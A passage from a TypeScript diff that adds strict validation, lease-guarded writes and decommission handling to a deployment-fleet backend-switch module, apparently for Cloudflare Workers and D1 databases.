source.pendingArtifactVersion !== 'string' || + !source.pendingArtifactVersion || + source.pendingArtifactVersion === 'pending')) || + (source.settledSettlementKey !== undefined && + (typeof source.settledSettlementKey !== 'string' || + !source.settledSettlementKey)) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const exportFields = [ + source.databaseExportLocation, + source.databaseExportSha256, + source.databaseExportSize, + ]; + if ( + exportFields.some((value) => value !== undefined) && + (typeof source.databaseExportLocation !== 'string' || + !source.databaseExportLocation || + typeof source.databaseExportSha256 !== 'string' || + !isSha256(source.databaseExportSha256) || + !Number.isSafeInteger(source.databaseExportSize) || + Number(source.databaseExportSize) < 1) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const provisional: FleetRecord = { + tenantTag, + backend: source.backend, + environment, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + schemaVersion: source.schemaVersion as number, + artifactVersion: source.artifactVersion, + desiredSpecDigest: source.desiredSpecDigest, + ...(typeof source.pendingSpecDigest === 'string' + ? { pendingSpecDigest: source.pendingSpecDigest } + : {}), + ...(typeof source.pendingArtifactVersion === 'string' + ? { pendingArtifactVersion: source.pendingArtifactVersion } + : {}), + ...(activeRelease ? { activeRelease } : {}), + ...(pendingRelease ? { pendingRelease } : {}), + ...(migrationPriorRelease ? { migrationPriorRelease } : {}), + ...(rollbackRelease ? { rollbackRelease } : {}), + ...(retiringRelease ? { retiringRelease } : {}), + ...(outboundPolicy ? { outboundPolicy } : {}), + ...(platformResources ? { platformResources } : {}), + ...(platformTarget ? { platformTarget } : {}), + ...(migrationIntent ? { migrationIntent } : {}), + backendSwitchIntent: switchIntent, + ...(shell ? { decommissionIntent: shell } : {}), + ...(applicationResources ? { applicationResources } : {}), + ...(applicationBindings ? { applicationBindings } : {}), + ...(typeof source.durableObjectTag === 'string' + ? { durableObjectTag: source.durableObjectTag } + : {}), + ...(migrationHistory + ? { durableObjectMigrationHistory: migrationHistory } + : {}), + ...(typeof migrationHistoryDigest === 'string' + ? { durableObjectMigrationHistoryDigest: migrationHistoryDigest } + : {}), + durableObjectBindings, + routeHostname: source.routeHostname, + phase: source.phase as ProvisioningPhase, + ...(typeof source.databaseExportLocation === 'string' + ? { databaseExportLocation: source.databaseExportLocation } + : {}), + ...(typeof source.databaseExportSha256 === 'string' + ? { databaseExportSha256: source.databaseExportSha256 } + : {}), + ...(typeof source.databaseExportSize === 'number' + ? { databaseExportSize: source.databaseExportSize } + : {}), + ...(typeof source.settledSettlementKey === 'string' + ? { settledSettlementKey: source.settledSettlementKey } + : {}), + updatedAt: source.updatedAt, + }; + const phase = effectiveLifecyclePhase(provisional); + const migrationInvalid = Boolean( + migrationIntent && + (phase !== 'migrating' || + migrationIntent.targetSpecDigest !== + migrationIntent.targetRelease.specDigest || + migrationIntent.target.d1SchemaVersion !== + (migrationIntent.platformOnly === true + ? provisional.schemaVersion + : migrationIntent.targetRelease.releaseSchemaVersion) || + !sameCanonicalData(migrationIntent.priorRelease, activeRelease) || + (migrationIntent.platformOnly === true + ? !sameCanonicalData(migrationIntent.targetRelease, activeRelease) || + migrationPriorRelease !== undefined || + pendingRelease !== undefined || + ['candidate-deployed', 'candidate-armed'].includes( + migrationIntent.subphase, + ) + : !sameCanonicalData( + migrationIntent.priorRelease, + migrationPriorRelease, + ) || + !sameCanonicalData(migrationIntent.targetRelease, pendingRelease))), + ); + const migrationTargetInvalid = Boolean( + migrationIntent && + [ + 'platform-applied', + 'candidate-deployed', + 'candidate-armed', + 'route-published', + ].includes(migrationIntent.subphase) && + !sameCanonicalData(platformTarget, migrationIntent.target), + ); + const resourcePolicy = + platformResources?.outboundPolicy ?? platformResources?.egressProxy; + const resourcePolicyInvalid = Boolean( + platformResources && + (resourcePolicy?.policyId !== outboundPolicy?.policyId || + !sameCanonicalData( + resourcePolicy?.policyHosts, + outboundPolicy?.policyHosts, + ) || + resourcePolicy?.policyDigest !== outboundPolicy?.policyDigest), + ); + if ( + (source.backend === 'workers-for-platforms') !== Boolean(outboundPolicy) || + resourcePolicyInvalid || + (platformTarget && + !sameCanonicalData(platformTarget.outboundPolicy, outboundPolicy)) || + (source.backend === 'plain-worker' && + (platformTarget !== undefined || migrationIntent !== undefined)) || + (source.backend === 'workers-for-platforms' && + platformResources !== undefined && + platformTarget === undefined) || + (source.backend === 'workers-for-platforms' && + phase === 'migrating' && + migrationIntent === undefined) || + (source.pendingArtifactVersion !== undefined && + (source.backend !== 'plain-worker' || + phase !== 'migrating' || + typeof source.pendingSpecDigest !== 'string')) || + migrationInvalid || + migrationTargetInvalid + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + if (shell) { + if ( + (shell.state === 'complete' + ? provisional.phase !== 'decommissioned' + : provisional.phase !== 'decommission-advancing') || + source.pendingSpecDigest !== undefined || + source.pendingArtifactVersion !== undefined || + pendingRelease !== undefined || + migrationPriorRelease !== undefined || + rollbackRelease !== undefined || + retiringRelease !== undefined || + migrationIntent !== undefined + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const switchExport = switchIntent.databaseExport; + if ( + (switchExport === undefined) !== + (source.databaseExportLocation === undefined) || + (switchExport && + (switchExport.databaseId !== provisional.databaseId || + switchExport.location !== source.databaseExportLocation || + switchExport.sha256 !== source.databaseExportSha256 || + switchExport.size !== source.databaseExportSize)) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + } + return provisional; +} + +function reorderCanonicalObjectLikeSource( + canonical: Value, + source: unknown, +): Value { + if (!source || typeof source !== 'object' || Array.isArray(source)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + return Object.fromEntries( + Object.keys(source).map((key) => [ + key, + (canonical as Record)[key], + ]), + ) as Value; +} + +function applicationResourcesFromRecord( + value: unknown, +): readonly import('./types.js').ApplicationR2Resource[] { + const resources = applicationResources(value); + const sorted = [...resources].sort((left, right) => + left.name < right.name ? -1 : left.name > right.name ? 1 : 0, + ); + if (!sameCanonicalData(resources, sorted)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + return resources; +} + +/** @internal Strict canonical boundary for switch and decommission authority. */ +export function backendSwitchFleetRecordFromUnknown( + value: unknown, +): CanonicalBackendSwitchFleetRecord { + try { + const source = structuralBackendSwitchFleetRecordFromUnknown(value) + .record as unknown as Record; + const actualKeys = Reflect.ownKeys(source); + if ( + actualKeys.some( + (key) => + typeof key !== 'string' || + !BACKEND_SWITCH_RECORD_KEYS.includes( + key as (typeof BACKEND_SWITCH_RECORD_KEYS)[number], + ) || + source[key] === undefined, + ) || + [...BACKEND_SWITCH_REQUIRED_RECORD_KEYS].some( + (key) => !Object.hasOwn(source, key), + ) || + typeof source.updatedAt !== 'string' || + !Number.isFinite(Date.parse(source.updatedAt)) || + new Date(source.updatedAt).toISOString() !== source.updatedAt + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const switchIntent = backendSwitchIntentFromUnknown( + source.backendSwitchIntent, + ); + const provisional = { + ...source, + backendSwitchIntent: switchIntent, + } as unknown as FleetRecord; + const shell = Object.hasOwn(source, 'decommissionIntent') + ? normalizeDecommissionAdvanceIntent( + source.decommissionIntent as import('./types.js').DecommissionAdvanceIntent, + provisional, + ) + : undefined; + if (shell && shell.updatedAt !== source.updatedAt) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const record = canonicalFleetRecordFromSource(source, switchIntent, shell); + return { + record, + comparisonBytes: JSON.stringify(canonicalJsonValue(record)), + }; + } catch { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } +} + +/** @internal Constructs the initial backend-switch operation shell. */ +export function backendSwitchDecommissionShell( + input: Readonly<{ + record: FleetRecord; + intent: BackendSwitchIntent; + operationId: string; + snapshotSha256: string; + entrySubphase: BackendSwitchSubphase; + now: string; + }>, +): import('./types.js').DecommissionAdvanceIntent { + const snapshot = input.intent.decommissionSnapshot; + if ( + !snapshot || + input.intent.decommissionSnapshotSha256 !== input.snapshotSha256 || + input.intent.decommissionEntrySubphase !== input.entrySubphase + ) { + throw new Error('backend switch decommission authority is incomplete'); + } + const lifecyclePhase = backendSwitchDecommissionLifecyclePhase( + input.intent.subphase, + effectiveLifecyclePhase( + input.record, + ) as import('./types.js').NormalDecommissionLifecyclePhase, + ); + if (lifecyclePhase === 'decommissioned') { + throw new Error('backend switch decommission is already complete'); + } + return { + version: 1, + operationId: input.operationId, + revision: 0, + generation: 0, + updatedAt: input.now, + identity: { + record: { + tenantTag: input.record.tenantTag, + environment: input.record.environment, + backend: input.record.backend, + scriptName: input.record.scriptName, + databaseId: input.record.databaseId, + databaseName: input.record.databaseName, + routeHostname: input.record.routeHostname, + }, + mode: { + kind: 'backend-switch', + priorSpecDigest: input.intent.prior.specDigest, + targetSpecDigest: input.intent.targetSpecDigest, + decommissionSnapshotSha256: input.snapshotSha256, + backendSwitchSubphase: input.entrySubphase, + }, + }, + lifecyclePhase, + state: 'transitioning', + }; +} + +type ConsumedSwitchEntryCarrier = + | 'pendingSpecDigest' + | 'pendingArtifactVersion' + | 'pendingRelease' + | 'migrationPriorRelease' + | 'rollbackRelease' + | 'retiringRelease' + | 'migrationIntent'; + +function withoutConsumedSwitchEntryCarriers( + record: FleetRecord, +): Omit { + const { + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + pendingRelease: _pendingRelease, + migrationPriorRelease: _migrationPriorRelease, + rollbackRelease: _rollbackRelease, + retiringRelease: _retiringRelease, + migrationIntent: _migrationIntent, + ...stable + } = record; + return stable; +} + +/** @internal Atomically consumes switch-entry carriers and installs its shell. */ +export function normalizeSwitchDecommissionEntry( + record: FleetRecord, + intent: BackendSwitchIntent, + shell: import('./types.js').DecommissionAdvanceIntent, +): FleetRecord { + const snapshot = intent.decommissionSnapshot; + if (!snapshot) { + throw new Error('backend switch decommission authorization was lost'); + } + const stable = withoutConsumedSwitchEntryCarriers(record); + const applicationResources = ( + intent.applicationR2Progress ?? + snapshot.applicationResources.map((resource) => ({ + resource, + subphase: resource.state, + })) + ).map(({ resource, subphase }) => ({ ...resource, state: subphase })); + return { + ...stable, + desiredSpecDigest: snapshot.desiredSpecDigest, + backendSwitchIntent: intent, + decommissionIntent: shell, + applicationResources, + phase: 'decommission-advancing', + updatedAt: shell.updatedAt, + }; +} + +export interface BackendSwitchLease extends ExternalMutationFence { + get(): Promise; + put(intent: BackendSwitchIntent): Promise; + current(): FleetRecord; + putOwnership(record: FleetRecord, intent: BackendSwitchIntent): Promise; +} + +export type BackendSwitchMutationFence = ExternalMutationFence; + +export function finalizedBridgeForRecord(record: FleetRecord): BridgeSnapshot { + const intent = record.backendSwitchIntent; + const bridge = intent?.bridge; + const state = record.platformResources?.stateWorker; + if ( + intent?.subphase !== 'finalized' || + !bridge?.stateOnly || + bridge.publicRouteAttached || + record.backend !== 'workers-for-platforms' || + state?.plane !== 'ordinary' || + bridge.scriptName !== record.scriptName || + bridge.scriptName !== state.scriptName || + bridge.databaseId !== record.databaseId || + bridge.artifactVersion !== state.artifactVersion || + bridge.artifactDigest !== state.artifactDigest || + JSON.stringify(bridge.durableObjectBindings) !== + JSON.stringify(state.durableObjectBindings) || + JSON.stringify(bridge.namespaceIds) !== JSON.stringify(state.namespaceIds) + ) { + throw new Error( + 'finalized backend switch does not own an exact ordinary state bridge', + ); + } + return bridge; +} + +export function assertBackendSwitchInactive(record: FleetRecord): void { + if ( + record.backendSwitchIntent && + record.backendSwitchIntent.subphase !== 'rolled-back' && + record.backendSwitchIntent.subphase !== 'finalized' + ) { + throw new Error( + `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`, + ); + } +} + +/** @internal Package-private test/coordination seam; not a root export. */ +export async function withBackendSwitchLease( + store: FleetStateStore, + tenantTag: string, + environment: string, + clock: () => number, + operation: (lease: BackendSwitchLease) => Promise, +): Promise { + return store.withDeploymentLease( + tenantTag, + environment, + async (fleetLease) => { + const loaded = await store.get(tenantTag, environment); + if (!loaded) { + throw new Error( + `deployment '${tenantTag}:${environment}' is not provisioned`, + ); + } + const structuralLoaded = + structuralBackendSwitchFleetRecordFromUnknown(loaded); + let record = structuralLoaded.carriesBackendSwitchAuthority + ? backendSwitchFleetRecordFromUnknown(loaded).record + : structuralLoaded.record; + const writeCanonical = async ( + intended: CanonicalBackendSwitchFleetRecord, + ): Promise => { + try { + await fleetLease.put(intended.record); + record = intended.record; + } catch (writeError) { + const reread = await store.get(tenantTag, environment); + if (!reread) throw writeError; + const canonicalReread = backendSwitchFleetRecordFromUnknown(reread); + if (canonicalReread.comparisonBytes !== intended.comparisonBytes) { + throw writeError; + } + record = canonicalReread.record; + } + }; + const lease: BackendSwitchLease = { + mutationLeaseTtlMs: fleetLease.mutationLeaseTtlMs, + assertOwned: () => fleetLease.assertOwned(), get: async () => record?.backendSwitchIntent, current: () => record as FleetRecord, - put: async (intent) => { + put: async (rawIntent) => { + if (record.decommissionIntent) { + throw new Error( + 'backend switch lease put requires putOwnership when a decommission shell is present', + ); + } + const intent = backendSwitchIntentFromUnknown(rawIntent); if ( intent.tenantTag !== tenantTag || intent.environment !== environment ) { throw new Error('backend switch lease cannot write another intent'); } - record = { - ...(record as FleetRecord), + const provisional = backendSwitchFleetRecordFromUnknown({ + ...record, backendSwitchIntent: intent, - updatedAt: new Date().toISOString(), - }; - await fleetLease.put(record); + }).record; + const timestamp = new Date(clock()).toISOString(); + const intended = backendSwitchFleetRecordFromUnknown({ + ...provisional, + updatedAt: timestamp, + }); + await writeCanonical(intended); }, - putOwnership: async (nextRecord, intent) => { + putOwnership: async (rawNextRecord, rawIntent) => { + const nextRecord = + structuralBackendSwitchFleetRecordFromUnknown(rawNextRecord).record; + if ( + record.decommissionIntent && + !Object.hasOwn(nextRecord, 'decommissionIntent') + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const intent = backendSwitchIntentFromUnknown(rawIntent); if ( nextRecord.tenantTag !== tenantTag || nextRecord.environment !== environment @@ -1198,12 +2621,33 @@ async function withBackendSwitchLease( 'backend switch lease cannot commit another deployment', ); } - record = { + if ( + nextRecord.updatedAt !== record.updatedAt || + (nextRecord.decommissionIntent && + nextRecord.decommissionIntent.updatedAt !== record.updatedAt) + ) { + throw new Error( + 'backend switch lease ownership timestamp placeholder is stale', + ); + } + const provisional = backendSwitchFleetRecordFromUnknown({ ...nextRecord, backendSwitchIntent: intent, - updatedAt: new Date().toISOString(), - }; - await fleetLease.put(record); + }).record; + const timestamp = new Date(clock()).toISOString(); + const intended = backendSwitchFleetRecordFromUnknown({ + ...provisional, + updatedAt: timestamp, + ...(provisional.decommissionIntent + ? { + decommissionIntent: { + ...provisional.decommissionIntent, + updatedAt: timestamp, + }, + } + : {}), + }); + await writeCanonical(intended); }, }; return operation(lease); @@ -1212,6 +2656,54 @@ async function withBackendSwitchLease( } export interface BackendSwitchProvider { + /** Optional exact inspection used only when a live pending ordinary version exists. */ + captureSwitchEntryPendingArtifact?( + input: Readonly<{ + readonly expectedArtifactVersion: string; + readonly spec: DeploymentSpec; + readonly currentRecord: FleetRecord; + readonly fence: BackendSwitchMutationFence; + }>, + ): Promise; + /** Optional bounded attachment scanner used by the root-only advance API. */ + advanceSwitchDecommissionAttachmentScan?( + input: DecommissionAttachmentScanInput, + ): Promise; + /** Receipt storage authority paired with `exportSwitchDatabaseReceipt`. */ + readonly databaseExportReceiptAuthority?: string; + /** Optional idempotent receipt export used by bounded teardown. */ + exportSwitchDatabaseReceipt?( + identity: DatabaseExportReceiptIdentity, + input: Readonly<{ + prior: PlainBackendSnapshot; + targetSpec: DeploymentSpec; + fence: BackendSwitchMutationFence; + }>, + ): Promise; + getSwitchDatabase?( + databaseId: string, + ): Promise; + readSwitchDatabaseOwner?( + database: DatabaseReference, + fence: BackendSwitchMutationFence, + ): Promise; + assertSwitchDatabaseDeletionResidualsRemoved?( + input: Readonly<{ + prior: PlainBackendSnapshot; + targetSpec: DeploymentSpec; + currentRecord: FleetRecord; + database: DatabaseReference; + fence: BackendSwitchMutationFence; + }>, + ): Promise; + deleteSwitchDatabaseBounded?( + input: Readonly<{ + prior: PlainBackendSnapshot; + targetSpec: DeploymentSpec; + database: DatabaseReference; + fence: BackendSwitchMutationFence; + }>, + ): Promise; describeFinalizedBridgeTarget( targetSpec: DeploymentSpec, currentRecord: FleetRecord, @@ -1356,6 +2848,11 @@ export interface BackendSwitchProvider { readonly environment: string; readonly routeHostname: string; readonly routeTargets: readonly HostRoutingTarget[]; + readonly entryPendingArtifact?: Readonly<{ + artifactVersion: string; + namespaceIds: readonly string[]; + spec: DeploymentSpec; + }>; readonly fence: BackendSwitchMutationFence; }): Promise; assertSwitchTrafficRemoved(input: { @@ -1377,6 +2874,11 @@ export interface BackendSwitchProvider { readonly plan?: BridgeMutationPlan; readonly targetSpec: DeploymentSpec; readonly allowedArtifactVersions: readonly string[]; + readonly entryPendingArtifact?: Readonly<{ + artifactVersion: string; + namespaceIds: readonly string[]; + spec: DeploymentSpec; + }>; readonly fence: BackendSwitchMutationFence; }): Promise; findSwitchApplicationR2( @@ -1558,7 +3060,9 @@ export async function reconcileFinalizedBackendSwitchState(input: { }, platformTarget: input.target, outboundPolicy: input.target.outboundPolicy, - durableObjectTag: input.target.stateDurableObjectTag, + ...(input.target.stateDurableObjectTag + ? { durableObjectTag: input.target.stateDurableObjectTag } + : {}), durableObjectMigrationHistory: plan.durableObjectMigrations, durableObjectMigrationHistoryDigest: input.target.stateDurableObjectHistoryDigest, @@ -1651,11 +3155,12 @@ function assertWorkersForPlatformsOwnership( record.scriptName !== intent.prior.scriptName || record.databaseId !== intent.prior.databaseId || record.phase !== 'ready' || - JSON.stringify(record.activeRelease) !== - JSON.stringify(canonicalCandidateRelease(intent)) || - JSON.stringify(record.platformTarget) !== JSON.stringify(intent.target) || - JSON.stringify(record.outboundPolicy) !== - JSON.stringify(intent.target.outboundPolicy) || + !sameCanonicalData( + record.activeRelease, + canonicalCandidateRelease(intent), + ) || + !sameCanonicalData(record.platformTarget, intent.target) || + !sameCanonicalData(record.outboundPolicy, intent.target.outboundPolicy) || record.platformResources?.stateWorker.scriptName !== requiredBridge(intent).scriptName || record.migrationIntent !== undefined @@ -1718,6 +3223,7 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: { options.store, options.priorSpec.tenantTag, options.priorSpec.environment, + Date.now, async (lease) => { assertNoActiveDecommission( lease.current(), @@ -1763,7 +3269,7 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: { intent.prior.applicationResources, ), ) || - JSON.stringify(intent.target) !== JSON.stringify(options.target) + !sameCanonicalData(intent.target, options.target) ) { throw new Error('backend switch request differs from durable intent'); } @@ -1957,6 +3463,7 @@ export async function rollbackBackendSwitch(options: { options.store, options.priorSpec.tenantTag, options.priorSpec.environment, + Date.now, async (lease) => { assertNoActiveDecommission(lease.current(), 'rollbackBackendSwitch'); let intent = await lease.get(); @@ -2154,6 +3661,7 @@ export async function finalizeBackendSwitch(options: { options.store, options.targetSpec.tenantTag, options.targetSpec.environment, + Date.now, async (lease) => { assertNoActiveDecommission(lease.current(), 'finalizeBackendSwitch'); let intent = await lease.get(); @@ -2242,6 +3750,12 @@ function baseRelease( function authorizeDecommissionSnapshot( record: FleetRecord, intent: BackendSwitchIntent, + authority?: Readonly<{ + desiredSpecDigest: string; + entryPendingArtifactVersion: string | null; + entryPendingNamespaceIds: readonly string[] | null; + providerTargetSpecDigest: string; + }>, ): BackendSwitchDecommissionSnapshot { if ( record.tenantTag !== intent.tenantTag || @@ -2327,14 +3841,25 @@ function authorizeDecommissionSnapshot( }), ).values(), ].sort((left, right) => - JSON.stringify(left.routeTarget).localeCompare( - JSON.stringify(right.routeTarget), - ), + JSON.stringify(left.routeTarget) < JSON.stringify(right.routeTarget) + ? -1 + : JSON.stringify(left.routeTarget) > JSON.stringify(right.routeTarget) + ? 1 + : 0, ); return { + ...(authority + ? { + prior: intent.prior, + restoredArtifactVersion: intent.restoredArtifactVersion ?? null, + entryPendingArtifactVersion: authority.entryPendingArtifactVersion, + entryPendingNamespaceIds: authority.entryPendingNamespaceIds, + providerTargetSpecDigest: authority.providerTargetSpecDigest, + } + : {}), routeHostname: record.routeHostname.toLowerCase(), routeTargets, - desiredSpecDigest: record.desiredSpecDigest, + desiredSpecDigest: authority?.desiredSpecDigest ?? record.desiredSpecDigest, target: currentTarget, releases, applicationResources: record.applicationResources ?? [], @@ -2344,7 +3869,19 @@ function authorizeDecommissionSnapshot( }; } -export async function decommissionBackendSwitch(options: { +function normalizeLegacySwitchDecommissionEntry( + record: FleetRecord, + snapshot: BackendSwitchDecommissionSnapshot, +): FleetRecord { + const stable = withoutConsumedSwitchEntryCarriers(record); + return { + ...stable, + desiredSpecDigest: snapshot.desiredSpecDigest, + phase: 'decommissioning', + }; +} + +async function decommissionBackendSwitchLegacy(options: { readonly store: FleetStateStore; readonly provider: BackendSwitchProvider; readonly priorSpec: DeploymentSpec; @@ -2357,16 +3894,16 @@ export async function decommissionBackendSwitch(options: { options.store, options.priorSpec.tenantTag, options.priorSpec.environment, + Date.now, async (lease) => { assertNoActiveDecommission(lease.current(), 'decommissionBackendSwitch'); let intent = await lease.get(); if (!intent) throw new Error('backend switch has no decommission snapshot'); - if (intent.prior.specDigest !== deploymentSpecDigest(options.priorSpec)) { - throw new Error( - 'backend switch prior decommission spec differs from durable intent', - ); - } + intent = assertBackendSwitchPriorSpecAuthority( + lease.current(), + options.priorSpec, + ); if (intent.subphase === 'decommissioned') return intent; if (!intent.decommissionSnapshot) { @@ -2385,12 +3922,13 @@ export async function decommissionBackendSwitch(options: { decommissionSnapshot: snapshot, }); await lease.putOwnership( - { ...lease.current(), phase: 'decommissioning' }, + normalizeLegacySwitchDecommissionEntry(lease.current(), snapshot), intent, ); } else if (!intent.subphase.startsWith('decommission-')) { + const existingSnapshot = intent.decommissionSnapshot; await assertApplicationR2EmptyBeforeDecommission({ - resources: intent.decommissionSnapshot.applicationResources, + resources: existingSnapshot.applicationResources, backend: { findApplicationR2Bucket: (resource) => options.provider.findSwitchApplicationR2(resource), @@ -2401,7 +3939,10 @@ export async function decommissionBackendSwitch(options: { }); intent = next(intent, 'decommission-traffic-authorized'); await lease.putOwnership( - { ...lease.current(), phase: 'decommissioning' }, + normalizeLegacySwitchDecommissionEntry( + lease.current(), + existingSnapshot, + ), intent, ); } @@ -2655,3 +4196,1608 @@ export async function decommissionBackendSwitch(options: { }, ); } + +type ActiveBackendSwitchShell = Exclude< + DecommissionAdvanceIntent, + { readonly state: 'complete' } +>; + +interface BackendSwitchCapabilitySet { + readonly scan: NonNullable< + BackendSwitchProvider['advanceSwitchDecommissionAttachmentScan'] + >; + readonly receiptAuthority: string; + readonly exportReceipt: NonNullable< + BackendSwitchProvider['exportSwitchDatabaseReceipt'] + >; + readonly getDatabase: NonNullable; + readonly readOwner: NonNullable< + BackendSwitchProvider['readSwitchDatabaseOwner'] + >; + readonly residuals: NonNullable< + BackendSwitchProvider['assertSwitchDatabaseDeletionResidualsRemoved'] + >; + readonly deleteDatabase: NonNullable< + BackendSwitchProvider['deleteSwitchDatabaseBounded'] + >; +} + +function readProviderMethod( + provider: BackendSwitchProvider, + key: Key, + capability: import('./decommission-advance.js').DecommissionAdvanceCapability, +): NonNullable { + let value: BackendSwitchProvider[Key]; + try { + value = Reflect.get(provider, key, provider) as BackendSwitchProvider[Key]; + } catch { + throw new DecommissionAdvanceCapabilityError(capability); + } + if (typeof value !== 'function') { + throw new DecommissionAdvanceCapabilityError(capability); + } + return value.bind(provider) as NonNullable; +} + +function strictSwitchReceiptPair( + provider: BackendSwitchProvider, + authority: unknown, + method: unknown, + allowAbsent: boolean, +): + | Readonly<{ + authority: string; + exportReceipt: NonNullable< + BackendSwitchProvider['exportSwitchDatabaseReceipt'] + >; + }> + | undefined { + if (authority === undefined && method === undefined) { + if (allowAbsent) return undefined; + throw new DecommissionAdvanceCapabilityError('database-export-receipt'); + } + if ( + typeof authority !== 'string' || + authority.length === 0 || + new TextEncoder().encode(authority).byteLength > 4_096 || + typeof method !== 'function' + ) { + throw new Error('database export receipt capability is malformed'); + } + return { + authority, + exportReceipt: method.bind(provider) as NonNullable< + BackendSwitchProvider['exportSwitchDatabaseReceipt'] + >, + }; +} + +function captureBackendSwitchDecommissionCapabilities( + provider: BackendSwitchProvider, + observed?: Readonly<{ + scan: NonNullable< + BackendSwitchProvider['advanceSwitchDecommissionAttachmentScan'] + >; + receiptAuthority: string; + exportReceipt: NonNullable< + BackendSwitchProvider['exportSwitchDatabaseReceipt'] + >; + }>, +): BackendSwitchCapabilitySet { + const scan = + observed?.scan ?? + readProviderMethod( + provider, + 'advanceSwitchDecommissionAttachmentScan', + 'attachment-scan', + ); + let receiptAuthority: string; + let exportReceipt: NonNullable< + BackendSwitchProvider['exportSwitchDatabaseReceipt'] + >; + if (observed) { + const pair = strictSwitchReceiptPair( + provider, + observed.receiptAuthority, + observed.exportReceipt, + false, + ) as NonNullable>; + receiptAuthority = pair.authority; + exportReceipt = pair.exportReceipt; + } else { + let rawAuthority: unknown; + let rawExportReceipt: unknown; + try { + rawAuthority = Reflect.get( + provider, + 'databaseExportReceiptAuthority', + provider, + ); + rawExportReceipt = Reflect.get( + provider, + 'exportSwitchDatabaseReceipt', + provider, + ); + } catch { + throw new Error('database export receipt capability is malformed'); + } + const pair = strictSwitchReceiptPair( + provider, + rawAuthority, + rawExportReceipt, + false, + ) as NonNullable>; + receiptAuthority = pair.authority; + exportReceipt = pair.exportReceipt; + } + return { + scan, + receiptAuthority, + exportReceipt, + getDatabase: readProviderMethod( + provider, + 'getSwitchDatabase', + 'database-read', + ), + readOwner: readProviderMethod( + provider, + 'readSwitchDatabaseOwner', + 'database-read', + ), + residuals: readProviderMethod( + provider, + 'assertSwitchDatabaseDeletionResidualsRemoved', + 'database-residuals', + ), + deleteDatabase: readProviderMethod( + provider, + 'deleteSwitchDatabaseBounded', + 'database-delete', + ), + }; +} + +function backendSwitchToken(record: FleetRecord): DecommissionAdvanceToken { + const shell = record.decommissionIntent; + if (!shell) throw new DecommissionAdvanceTokenOperationError(); + return { + version: 1, + tenantTag: record.tenantTag, + environment: record.environment, + operationId: shell.operationId, + revision: shell.revision, + }; +} + +function backendSwitchAdvanceResult( + record: FleetRecord, +): DecommissionAdvanceResult { + const shell = record.decommissionIntent; + if (!shell) throw new DecommissionAdvanceTokenOperationError(); + const token = backendSwitchToken(record); + if (shell.state === 'blocked') { + return { + status: 'blocked', + token, + purpose: shell.purpose, + attachment: shell.attachment, + }; + } + if (shell.state === 'complete') { + return { + status: 'complete', + token, + result: { + record, + databaseExport: { + databaseId: record.databaseId, + location: record.databaseExportLocation as string, + sha256: record.databaseExportSha256 as string, + size: record.databaseExportSize as number, + }, + }, + }; + } + return { status: 'pending', token }; +} + +function effectiveBackendSwitchDigest(record: FleetRecord): string { + const carriers = [ + record.migrationIntent?.targetSpecDigest, + record.pendingSpecDigest, + record.pendingRelease?.specDigest, + ].filter((value): value is string => value !== undefined); + if (carriers.some((value) => value !== carriers[0])) { + throw new Error( + 'backend switch decommission specification carriers conflict', + ); + } + return carriers[0] ?? record.desiredSpecDigest; +} + +function specForDigest( + digest: string, + options: Pick< + AdvanceBackendSwitchDecommissionOptions, + 'priorSpec' | 'targetSpec' | 'currentSpec' + >, +): DeploymentSpec { + for (const candidate of [ + options.priorSpec, + options.targetSpec, + options.currentSpec, + ]) { + if (candidate && deploymentSpecDigest(candidate) === digest) { + assertSameDeployment(options.priorSpec, candidate); + return candidate; + } + } + throw new Error( + 'backend switch decommission requires the exact current specification', + ); +} + +function pendingInspectionFromUnknown( + value: unknown, + expectedArtifactVersion: string, + spec: DeploymentSpec, + record: FleetRecord, +): SwitchEntryPendingArtifactInspection { + const malformed = () => { + throw new Error('backend switch pending artifact inspection is malformed'); + }; + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: SWITCH_PLAIN_DATA_DEPTH_BOUND, + maxNodes: SWITCH_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: SWITCH_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: SWITCH_PLAIN_DATA_BYTE_BOUND, + error: malformed, + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + return malformed(); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + return malformed(); + } + const candidate = plain as Record; + const keys = Reflect.ownKeys(candidate); + const expectedKeys = [ + 'application', + 'artifactVersion', + 'databaseIds', + 'durableObjectBindings', + 'queueProducerBindings', + 'secretNames', + 'serviceBindings', + 'specDigest', + ].sort(); + if ( + keys.some((key) => typeof key !== 'string') || + JSON.stringify((keys as string[]).sort()) !== + JSON.stringify(expectedKeys) || + candidate.artifactVersion !== expectedArtifactVersion || + candidate.specDigest !== deploymentSpecDigest(spec) || + !Array.isArray(candidate.databaseIds) || + JSON.stringify(candidate.databaseIds) !== + JSON.stringify([record.databaseId]) || + !Array.isArray(candidate.durableObjectBindings) || + !Array.isArray(candidate.secretNames) || + !Array.isArray(candidate.serviceBindings) || + !Array.isArray(candidate.queueProducerBindings) + ) { + return malformed(); + } + let durableObjectBindings: readonly DurableObjectBindingInventory[]; + let application: import('./types.js').ApplicationBindingTopology; + try { + durableObjectBindings = durableBindings( + candidate.durableObjectBindings, + 'pending artifact Durable Object bindings', + ); + application = applicationBindingTopologyFromUnknown( + candidate.application, + 'pending artifact application topology', + ); + } catch { + return malformed(); + } + const namespaceIds = durableObjectBindings.map( + ({ namespaceId }) => namespaceId, + ); + const canonicalNamespaceIds = [...new Set(namespaceIds)].sort( + (left, right) => (left < 